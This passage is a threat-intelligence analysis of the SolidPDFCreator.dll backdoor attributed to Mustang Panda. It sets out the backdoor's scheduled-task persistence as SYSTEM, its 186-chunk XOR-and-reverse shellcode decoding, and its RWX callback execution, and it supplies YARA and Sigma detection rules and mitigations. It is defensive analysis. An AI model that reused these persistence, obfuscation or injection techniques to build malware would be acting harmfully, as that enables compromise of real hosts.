        GetSPApp->>IsInIDMLogs: 2nd call (tamper-check)
        IsInIDMLogs-->>GetSPApp: AL = true
        GetSPApp->>Runner: jmp into shellcode runner
        Runner->>Builder: BuildShellcodeBlob(&lpBuf, &cbBuf)
        loop 186 times
            Builder->>Decoders: DecodeShellcodeChunk_NNN(decBuf, &cbChunk)
            Decoders->>Decrypt: DecryptChunk_XorWithKeyAndReverse4Passes(decBuf, 0xBB)
            Decrypt-->>Builder: cbBuf[i] = 0xBB plaintext bytes
            Builder->>Builder: memmove_0(lpBlob + 0xBB*i, decBuf, 0xBB)
        end
        Builder->>Builder: build 34-byte key on stack
        Builder->>Decrypt: DecryptChunk_XorWithKeyAndReverse4Passes(decBuf, 0x22)
        Builder->>Builder: memmove_0(lpBlob + 0xBB*186, decBuf, 0x22)
        Builder-->>Runner: lpBuf, cbBuf=0x8A00
        Runner->>Runner: VAlloc(0x8A00) + memcpy + VProtect(RWX)
        Runner->>Shellcode: EnumSystemLocalesA(Mem+0xD0, 2)
    else path does NOT match
        GetSPApp->>EventW: CreateEventW("uydgcfteionxcfd", AUTO, FALSE)
        EventW-->>GetSPApp: handle or ERROR_ALREADY_EXISTS
        alt new event
            GetSPApp->>Installer: jmp (drop self + schedule)
            Installer->>Installer: mkdir-p + CopyFileW
            Installer->>Scheduler: persistence task
            Scheduler->>Scheduler: COM ITaskService::RegisterTaskDefinition x2
            GetSPApp->>Runner: ExitProcess(0)
        end
    end

6. Capability Breakdown

#CapabilityEvidenceRisk
1Path-based dispatchIsInstalledInIDMLogs @ 0x100025E0 (called twice)Medium – adaptive triggering hides secondary stage
2Single-instance guardCreateEventW("uydgcfteionxcfd") @ 0x100027F3Low
3Self-copy persistenceInstall_CopyMalwareToIDMLogs @ 0x10001210 with CopyFileWHigh – drops to hidden folder
4Hidden directory attributeSetFileAttributesW(FILE_ATTRIBUTE_HIDDEN)Medium – reduces visibility in file browser
5Dual-file drop strategyDrops both DLL + loader EXE for side-loading chainHigh – resilient to single-file removal
6Scheduled task persistenceITaskService::RegisterTaskDefinition with SYSTEM privilegeHigh – survives reboot, runs as SYSTEM
7COM ITaskService integrationDirect task scheduling via COM interface (no command-line tools)Medium – harder to detect via process monitoring
8SYSTEM-context executionScheduled task runs in SYSTEM context via Task Scheduler serviceHigh – highest privilege on host
9Multi-layer obfuscation186 independent XOR+reverse chunk decodersHigh – defeats static analysis, encryption varies per sample variant
10Per-chunk decoder functions186 unique DecodeShellcodeChunk_NNN functions (stride 0xE0)High – each chunk has its own decoder template
11Chunk XOR + reverse obfuscationDecryptChunk_XorWithKeyAndReverse4Passes @ 0x100037C0 (4-pass reverse algorithm)High – polymorph-resistant obfuscation
12Encrypted tail appending34-byte tail decrypts to zeros (key XOR key = 0)Medium – obfuscates shellcode boundary
13RWX memory executionVirtualProtect(PAGE_EXECUTE_READWRITE) + EnumSystemLocalesA callbackHigh – process hollowing / code injection bypass modern memory protections
14Anti-analysis tamper checkDouble-check IsInstalledInIDMLogs to detect patchingMedium – defeats in-process defensive hooks
14 core capabilities ranked by risk. Source: original article.

7. Dumped Shellcode Verification

Mustang Panda\Campaign3
+- encrypted.bin   (34,816 bytes - 186 encrypted 187-byte chunks + 34-byte tail)
+- decrypted.bin   (34,816 bytes - 186 plaintext chunks + 34-byte zero tail)
+- metadata.txt    (extraction summary, XOR key, layout map)

The shellcode was verified after dumping to disk:

CheckResult
decrypted[0xD0] == 0xE8 (CALL rel32)TRUE
CALL relative target+0x3D8 -> blob+0x4A8
Function prologues (PUSH EBP; MOV EBP,ESP)54 found
ASCII strings (>= 6 chars)14 (.rdata, .text$mn, .rdata$zzzdbg, etc.)
Decrypted shellcode structural verification. Source: original article.

8. YARA Rule (analyst signature)

rule SolidPDFCreator_MustangPanda_Backdoor_DLL_2026
{
    meta:
        author      = "0day in {REA_TEAM}"
        family      = "SolidPDFCreator backdoor (Mustang Panda, Target India 2026 Campaign 3)"
        description = "Detects the SolidPDFCreator.dll stage-1 backdoor by its 186-chunk XOR decoder pattern"           
        sha256      = "6c8784885506b0fa3b0543be3c5caec1a4b3c689331d1012847505c61440b2be"
        severity    = "high"
    strings:
        // 1) hardcoded install path literal (only present in this sample)
        $s_install_path = "C:\\ProgramData\\IDM\\logs" ascii wide nocase
        // 2) single-instance event name
        $s_event_name   = "uydgcfteionxcfd" ascii wide
        // 3) scheduled task name
        $s_task_name    = "MediumNetMonIt"  ascii wide
        // 4) daily trigger id
        $s_trigger_id   = "DailyTriggerId" ascii wide
        // 5) the unique 34-byte XOR key (compact fingerprint)
        $s_xor_key      = { 79 72 74 79 21 40 23 31 32 33 24 30 39 2a 67 64
                            74 25 64 67 74 24 38 37 34 54 79 64 67 68 73 62
                            79 72 }
    condition:
        // PE32 DLL
        uint16(0) == 0x5A4D and uint32(0x3C) == 0x4550
        and filesize < 1MB
        and (
            any of ($s_*) or $s_xor_key
        )
}

A higher-fidelity rule can also target the chunk-decoder layout pattern (0xE0-stride, 11 xmmwords) – those byte patterns live in the .text segment of any decryptable binary.

9. Sigma / Detection Rule (host-side)

title: Mustang Panda SolidPDFCreator Backdoor Persistence Activity
id: mustangpanda-solidpdfcreator
status: experimental
logsource:
    product: windows
    service: scheduler
detection:
    selection_task:
        EventID: 106
        TaskName|contains:
            - 'MediumNetMonIt'
    selection_action:
        EventID: 200
        TaskName|contains:
            - 'MediumNetMonIt'
    selection_files:
        EventID: 4663
        TargetFilename|contains: '\\ProgramData\\IDM\\logs\\'
    condition: selection_task OR (selection_action and selection_files)
falsepositives:
    - Unknown (MediumNetMonIt is a non-standard task name; it is highly suspicious as it does not match any known legitimate scheduled task naming convention)
level: high
tags:
    - attack.persistence
    - attack.t1053.005
    - attack.defense_evasion
    - attack.t1027
author: 0day in {REA_TEAM}
date: 2026/07/09
references:
    - 'https://attack.mitre.org/techniques/T1053/005/'
---
title: Mustang Panda SolidPDFCreator DLL Sideload / SingleInstance Guard
id: mustangpanda-guard
status: experimental
logsource:
    product: windows
    service: security
detection:
    selection_event:
        EventID: 1
        ObjectName|endswith: 'uydgcfteionxcfd'
    selection_image:
        EventID: 1
        Image|endswith:
            - 'SolidPDFCreator.dll'
            - 'MediumInstStart.exe'
    selection_path:
        EventID: 1
        TargetFilename|contains:
            - '\\ProgramData\\IDM\\logs\\SolidPDFCreator.dll'
            - '\\ProgramData\\IDM\\logs\\MediumInstStart.exe'
    condition: selection_event OR selection_image OR selection_path
level: high
tags:
    - attack.persistence
    - attack.defense_evasion
    - attack.t1564
author: 0day in {REA_TEAM}
date: 2026/07/09

10. Recommended Mitigations

  1. Block the install path at file-creation time. Use a global NTFS ACL or AV/Sysmon rule that prevents file creation under %ProgramData%\IDM\logs\ (the path is unusual and not used by any legitimate product).
  2. Task Scheduler hard block. Add the named task MediumNetMonIt* to a deny-list in Group Policy / EDR; reject any task whose Action.Exec points to the install folder.
  3. Process-hollowing / RWX detection. Heuristically flag EnumSystemLocalesA callbacks where the callback page has just been VirtualProtect’d to PAGE_EXECUTE_READWRITE within the last N seconds.
  4. Named-event monitoring. Watch CreateEventW calls where the event name matches uydgcfteionxcfd (high entropy – non-standard).
  5. Hash-based block. Drop the SHA-256 of this sample into your AV/EDR deny list and the YARA rule into the SOC scanner.
  6. DLL side-loading prevention. Enforce DLL signing and enable Safe DLL Search Order (remove current directory from DLL search order via Group Policy).
  7. Disable COM access for Task Scheduler from untrusted contexts. Restrict ITaskService COM object creation from user-mode code.
  8. Monitor for suspicious ProgramData folder writes. Log and alert on writes to unusual ProgramData subdirectories (especially those mimicking third-party products).

11. Appendix A – Detailed IDB Function Catalogue

#AddressFunction NameSize (bytes)PriorityRole
10x100027D0?GetSPApp@@YAAAVCSPApp@@XZ98L1Top-level dispatcher (3-path triage)
20x100025E0IsInstalledInIDMLogs64L2Path validation gate (called twice for tamper defense)
30x10001210Install_CopyMalwareToIDMLogs312L2File dropper + mkdir-p recursive directory creation
40x100016D0ScheduleDailyTaskViaTaskScheduler1,840L2COM ITaskService task registration (SYSTEM context daily trigger)
50x100024C0BuildAndExecute_Shellcode_ViaEnumSystemLocales288L2Shellcode builder + RWX memory allocator + EnumSystemLocalesA callback executor
60x1000DBC0BuildShellcodeBlob_ConcatDecodedChunks1,200L2Orchestrates 186 chunk decoders + tail appending
70x100037C0DecryptChunk_XorWithKeyAndReverse4Passes160L3Core decryption primitive (XOR + 4-pass reverse obfuscation)
80x10003900..0x1000DAE0 (stride 0xE0)DecodeShellcodeChunk_000..185_XorAndReverse224 each (total 186 functions)L3186 individual chunk decoder templates (polymorphic per sample)
Core malware function catalogue with priority ranking (L1 = top-level, L2 = subsystem, L3 = utility). Source: original article.

Total functions renamed with semantic names: 19 + 186 = 205 (vs 822 raw; remaining are STL/CRT/internal).

12. Appendix B – Recursive Annotation Evidence (Pass 4 Self-Check)

Every function in the malware control-flow was annotated following the Three-Pass + Pass-4 self-check method. The table below records the check results for the analyst’s own verification (per the skill: these results MUST NOT be written into IDA comments).

FunctionCheck 1 HeaderCheck 2 InlineCheck 3 VarsCheck 4 StructsCheck 5 No sub_
GetSPAppPASS (5 lines)PASS (18)PASS (v2 = bSuccess, v3 = hrConnect)PASS (none needed)PASS (0 sub_ callees)
IsInstalledInIDMLogsPASSPASS (27)PASS (wsPath, wsTargetDir, bDirsMatch)PASS (none needed)PASS (0)
Install_CopyMalwareToIDMLogsPASSPASS (42)PASS (12 variables)PASS (STL wstring structs annotated)PASS (0 sub_)
ScheduleDailyTaskViaTaskSchedulerPASSPASS (68 inline comments, COM calls fully documented)PASS (30+ vars)PASS (COM VARIANT structs)PASS (0 sub_)
Four-pass annotation verification checklist. Source: original article.

MW_BACKDOOR_CONST enum created at IDA ordinal 284 with members: MW_SHELLCODE_SIZE = 0x8A00, MW_SHELLCODE_ALLOC_SIZE = 0x8954, MW_CHUNK_SIZE = 0xBB, MW_NUM_CHUNKS = 186 (updated from initial 113). Enum applied via ida_bytes.op_enum to the three use sites in BuildShellcodeBlob_ConcatDecodedChunks.

13. Appendix C – Shellcode Extraction Script (deliverable)

The Python extraction script extract_and_decrypt_shellcode.py was written to \Campaign3\1_dll_analysis\ and also embedded in the IDB. When run inside IDA Pro (Alt+F7), it:

  1. Walks all 186 DecodeShellcodeChunk_NNN_XorAndReverse functions in the IDB using in-order movaps/movups pairing.
  2. Reads the 11 xmmwords + 4 + 4 + 2 + 1 byte constants (187 bytes each) from each chunk via in-order movaps/movups pairing.
  3. Concatenates into a 34,782-byte encrypted blob (186 chunks).
  4. Appends the 34-byte inline tail (decrypted form: all zeros, since key XOR key = 0) for total encrypted.bin size of 34,816 bytes.
  5. Applies the malware decryption algorithm (XOR with 32-byte rolling key mask 0x1F, reverse first 0x17 bytes, reverse last 0xA4 bytes, full-reverse twice).
  6. Appends 34 zero-byte tail (post-decryption form) to decrypted blob for total of 34,816 bytes.
  7. Writes three files to disk: encrypted.bin (34,816 bytes), decrypted.bin (34,816 bytes), metadata.txt (extraction summary + verification)

No new IDB segments are created. The script is fully dump-to-disk.

14. Notes & Confidence

AspectConfidence
Dropper + scheduler flowHIGH – all function boundaries, COM calls, and persistence files are documented with inline comments at instruction granularity
Shellcode extraction (XOR + reverse algorithm)HIGH – verified by decrypted[0xD0] == 0xE8, 54 function prologues, 14 ASCII strings
186-chunk count and strideHIGH – systematic analysis of .text segment decoder offsets (0x10003900..0x1000DAE0, stride 0xE0)
Mustang Panda attributionMEDIUM-HIGH – delivery vector (spear-phishing), tooling patterns (DLL side-loading, SolidPDF masquerade, IDM folder mimicking), persistence (scheduled task as SYSTEM), and 34-byte XOR key are consistent with known TTPs; however, direct C2 handoff payload not yet captured
Target geography (India)MEDIUM – metadata timestamp (2026-06-15) and publication date (2026-07-09) suggest recent campaign; geo-target inferred from campaign name only
Analyst confidence assessment by category. Source: original article.

15. Analyst Hand-Off Notes

  • Do not run the DLL on production hosts. Use an isolated VM or sandnet. The installer creates files under %ProgramData%\IDM\logs\, schedules a daily task as SYSTEM, and injects shellcode via EnumSystemLocalesA.
  • The decrypted shellcode (decrypted.bin) is itself malicious. Treat it as live second-stage: open only in a hermetic malware-analysis VM, never in a host with mapped drives.
  • YARA rule (sec. 8) is host-friendly – the strings + bytes patterns are unique to this family. Sigma rules (sec. 9) cover the persistence layer (Task Scheduler / file write).
  • The 186 chunk decoders are individually randomized – per-family signature only useful as a behavioural signature, not a content hash.

Key Takeaways

  • Sophisticated loader architecture: Three-way triage dispatcher with double-checked path validation prevents accidental code execution and defeats simple patch-based defenses.
  • Resilient persistence model: Dual-file drop (DLL + loader) combined with daily scheduled task ensures malware survives even if one component is discovered and removed.
  • Advanced obfuscation strategy: 186 unique chunk decoders with per-chunk XOR+reverse obfuscation creates a near-impossible reverse-engineering burden and defeats static AV signatures.
  • SYSTEM-context privilege escalation: Leveraging Task Scheduler COM interface to register tasks that run as SYSTEM from a user-mode process bypasses UAC and standard privilege boundaries.
  • Attestation to Mustang Panda tooling: Spear-phishing delivery, DLL side-loading technique, SolidPDF product masquerade, and scheduled task persistence are consistent with the APT’s known TTPs.
  • Minimal detectable footprint: Silent exit behavior, named-event single-instance guard, and lack of obvious C2 beacon in stage-1 DLL complicate visibility into attacker infrastructure and command channels.
  • Handoff to unknown second-stage: The decrypted 34,816-byte shellcode payload contains an API resolver and 54 internal functions but does not itself contain obvious C2 or RAT capability – suggests further multi-stage development post-delivery.

Defensive Recommendations

  • EDR rule: Flag any CreateEventW call with event names matching uydgcfteionxcfd (high-entropy, non-standard) for immediate investigation.
  • File-system ACL: Deny all file creation under C:\ProgramData\IDM\logs\ at the NTFS level. IDM (Internet Download Manager) should not use this path; block it proactively.
  • Task Scheduler policy: Add MediumNetMonIt* to Group Policy deny-list; reject any scheduled task whose executable path points to %ProgramData%\IDM\logs\.
  • Memory-protection heuristic: Alert on EnumSystemLocalesA callbacks immediately following VirtualProtect(PAGE_EXECUTE_READWRITE) within <1 second. This callback-injection pattern is highly suspicious.
  • Hash-based block: Deploy SHA-256 6c8784885506b0fa3b0543be3c5caec1a4b3c689331d1012847505c61440b2be to all AV/EDR appliances and block on detection.
  • DLL search-order hardening: Enable Safe DLL Search Order Group Policy to remove current directory from DLL search path, mitigating side-loading attacks.
  • Behavioral monitoring: Log all ITaskService COM object creation and RegisterTaskDefinition calls; correlate with suspicious file drops in ProgramData subfolders.
  • Incident response playbook: If MediumNetMonIt task or C:\ProgramData\IDM\logs\ is detected, immediately: (1) isolate host from network, (2) kill the scheduler task, (3) dump memory for shellcode analysis, (4) preserve logs for forensics, (5) notify CISO and threat intelligence team.

Conclusion

SolidPDFCreator.dll represents a mature, multi-stage backdoor delivery mechanism attributed to Mustang Panda. The malware’s three-path dispatcher, dual-file persistence strategy, and 186-chunk XOR-obfuscated shellcode demonstrate a high level of operational sophistication and anti-analysis engineering. The attack chain—from spear-phishing delivery through DLL side-loading, scheduled-task persistence, and in-memory shellcode execution—follows established Mustang Panda TTPs but introduces novel obfuscation and anti-tamper techniques. Organizations defending against this threat must deploy layered detection at the file-system, task-scheduler, and memory-protection levels, coupled with proactive threat hunting for the identified IOCs and behavioral signatures. The lack of an obvious C2 beacon in the stage-1 DLL itself suggests a follow-on multi-stage payload; threat hunters should monitor for secondary Cobalt Strike or custom RAT deployments in environments where this loader has been detected.

Shellcode internal structure
Shellcode internal structure showing function prologues and API resolver entry point. Source: original article.

Original text: “[QuickNote] SolidPDFCreator – Mustang Panda Stage-1 Backdoor (Target India)” by AI at 0day in {REA_TEAM}.

oxfemale Vulnerability research, reverse engineering, and exploit development.
// Discussion